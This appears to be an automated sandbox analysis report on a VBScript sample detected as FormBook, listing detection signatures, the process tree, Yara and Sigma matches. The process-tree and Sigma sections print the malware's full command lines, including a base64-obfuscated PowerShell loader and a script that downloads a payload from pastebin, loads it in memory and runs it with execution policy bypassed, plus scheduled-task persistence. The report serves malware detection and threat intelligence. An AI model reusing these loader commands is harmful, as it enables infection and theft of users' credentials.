Edit tour

Windows Analysis Report
PURCHASE OKK.vbs

Overview

General Information

Sample name:	PURCHASE OKK.vbs
Analysis ID:	1665559
MD5:	38258b62eac1814f6e038be7bb84dafe
SHA1:	aea92f71513715ead9096bfabc2656fbddc10b2a
SHA256:	abba2995a8e1364f0e3a23e247483d79830d7d8558356877a9960c4ce62e9bbd
Tags:	vbsuser-abuse_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Sigma detected: Paste sharing url in reverse order

Suricata IDS alerts for network traffic

Yara detected FormBook

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Potential dropper URLs found in powershell memory

Queues an APC in another process (thread injection)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7588 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

schtasks.exe (PID: 7664 cmdline: "C:\Windows\System32\schtasks.exe" /delete /tn task name /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7720 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn task name /tr "C:\Users\user\AppData\Local\Temp\GLPd.vbs" /sc minute /mo minutos MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7780 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?Jw?s?C??Jw?n?D??Jw?n?Cw?I??n?Cc?MQ?n?Cc?L??g?Cc?JwBS?G8?Z?Bh?Cc?Jw?g?C??KQ?g?Ck?I??7?Cc?I??7?CQ?VgBC?Fc?VwB6?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??z?C4?c?Bz?DE?Jw?g?Ck?I??7?CQ?TQBP?EQ?UgBn?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BW?EI?VwBX?Ho?I??g?C0?ZgBv?HI?YwBl?C??OwBw?G8?dwBl?HI?cwBo?GU?b?Bs?C??LQBF?Hg?ZQBj?HU?d?Bp?G8?bgBQ?G8?b?Bp?GM?eQ?g?EI?eQBw?GE?cwBz?C??LQBG?Gk?b?Bl?C??J?BW?EI?VwBX?Ho?I??7??==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Windows\system32\PURCHASE OKK.vbs');powershell $Yolopolhggobek; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7916 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8040 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

MSBuild.exe (PID: 7256 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

DmMVOWsP1JSI77P.exe (PID: 2252 cmdline: "C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\ElCKIdTD.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

iexpress.exe (PID: 1420 cmdline: "C:\Windows\SysWOW64\iexpress.exe" MD5: D594B2A33EFAFD0EABF09E3FDC05FCEA)

DmMVOWsP1JSI77P.exe (PID: 3748 cmdline: "C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\v7rWi9QIDxHSX.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

firefox.exe (PID: 5468 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

svchost.exe (PID: 5200 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.2229860985.0000000004BE0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2229410762.0000000004B40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2226580404.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.1277774749.0000000002860000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.2229866615.0000000002E70000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.1258834116.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.1262010486.0000000001930000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000014.00000002.2232234775.00000000056B0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: powershell.exe PID: 7780	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x7a24:$b2: ::FromBase64String( 0x88d2:$b2: ::FromBase64String( 0x23e90:$b2: ::FromBase64String( 0x24080:$b2: ::FromBase64String( 0x4f43d:$b2: ::FromBase64String( 0x5046a:$b2: ::FromBase64String( 0x50d57:$b2: ::FromBase64String( 0x50f08:$b2: ::FromBase64String( 0x80f3a:$b2: ::FromBase64String( 0x8112a:$b2: ::FromBase64String( 0x9ab59:$b2: ::FromBase64String( 0x9ac4b:$b2: ::FromBase64String( 0x9ad66:$b2: ::FromBase64String( 0xa76e1:$b2: ::FromBase64String( 0xa8ba9:$b2: ::FromBase64String( 0xa8d5a:$b2: ::FromBase64String( 0xaafa5:$b2: ::FromBase64String( 0xaf884:$b2: ::FromBase64String( 0xb0732:$b2: ::FromBase64String( 0xb162a:$b2: ::FromBase64String( 0xb1a27:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7916	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3f588:$b2: ::FromBase64String( 0x3faad:$b2: ::FromBase64String( 0x468a3:$b2: ::FromBase64String( 0x4a8c2:$b2: ::FromBase64String( 0x4ae1c:$b2: ::FromBase64String( 0x66ac3:$b2: ::FromBase64String( 0x6701d:$b2: ::FromBase64String( 0x67fe6:$b2: ::FromBase64String( 0x7c743:$b2: ::FromBase64String( 0x1df23d:$b2: ::FromBase64String( 0x1df2ee:$b2: ::FromBase64String( 0x1df3d0:$b2: ::FromBase64String( 0x1df4dd:$b2: ::FromBase64String( 0x1dfb24:$b2: ::FromBase64String( 0x1e0d99:$b2: ::FromBase64String( 0x1e12f4:$b2: ::FromBase64String( 0x1e1a59:$b2: ::FromBase64String( 0x1e216f:$b2: ::FromBase64String( 0x246822:$b2: ::FromBase64String( 0x246d7c:$b2: ::FromBase64String( 0x247f3d:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 8040	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x380c80:$b2: ::FromBase64String( 0xc6a49:$s1: -join 0xd3cca:$s1: -join 0xd718c:$s1: -join 0xd7826:$s1: -join 0xd9322:$s1: -join 0xdb576:$s1: -join 0xdbd9d:$s1: -join 0xdc5f8:$s1: -join 0xdcd33:$s1: -join 0xdcd65:$s1: -join 0xdcdad:$s1: -join 0xdcdcc:$s1: -join 0xdd61d:$s1: -join 0xdd799:$s1: -join 0xdd811:$s1: -join 0xdd8a4:$s1: -join 0xddb0a:$s1: -join 0xdfcc3:$s1: -join 0xee727:$s1: -join 0x103e6c:$s1: -join
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.MSBuild.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
10.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
8.2.powershell.exe.15d903ef8d0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.powershell.exe.15d903ef8d0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL	Detects executables (downloaders) containing reversed URLs to raw contents of a paste	ditekSHen	0xc1399:$u1: /moc.nibetsap//:sptth 0xc3bac:$u1: /moc.nibetsap//:sptth
8.2.powershell.exe.15d903ef8d0.0.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0xc13a6:$h2: //:sptth 0xc3bc6:$h2: //:sptth 0xc13d0:$s1: DownloadString 0xc3c8c:$s1: DownloadString 0xd277c:$s1: DownloadString 0xc13c5:$s2: StrReverse 0xc3c5c:$s2: StrReverse 0xc1437:$s3: FromBase64String 0xc3e2c:$s3: FromBase64String 0xd6fc:$s4: WebClient

Sigma Signatures

Networking

Sigma detected: Paste sharing url in reverse order

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPower

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?